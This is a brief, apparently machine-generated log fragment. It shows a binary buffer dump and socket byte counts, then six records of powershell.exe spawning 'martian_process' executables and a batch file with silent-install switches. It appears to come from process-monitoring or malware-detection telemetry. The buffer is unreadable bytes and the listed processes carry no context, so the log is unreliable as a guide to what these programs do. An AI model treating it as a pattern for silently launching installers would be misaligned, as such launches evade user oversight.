 buffer: $JÈÇG¶Ç‰ÎrC`”$;†1cÔN6- œ™ƒB.vÓ]0œšÒ[ö›Ô(ã†e6!Ç{Ð:æž&½›Þ®¨±ü\Έǩ˜!Ë7kÊÒy µaµZ¨=Ž©íÇè;Õ_Є˜f,æˆkšpHÿwòˆ&æþ#£‘HPZÌà*åwh z:´ªÅUüÙúÏö
socket: 1708
sent: 149
1 149 0
parent_process powershell.exe martian_process ./f_4.exe --silent --allusers=0
parent_process powershell.exe martian_process ./f_3.bat
parent_process powershell.exe martian_process ./f_1.exe /sub=T32910
parent_process powershell.exe martian_process ./f_5.exe /s
parent_process powershell.exe martian_process ./f_2.exe
parent_process powershell.exe martian_process ./f_6.exe /S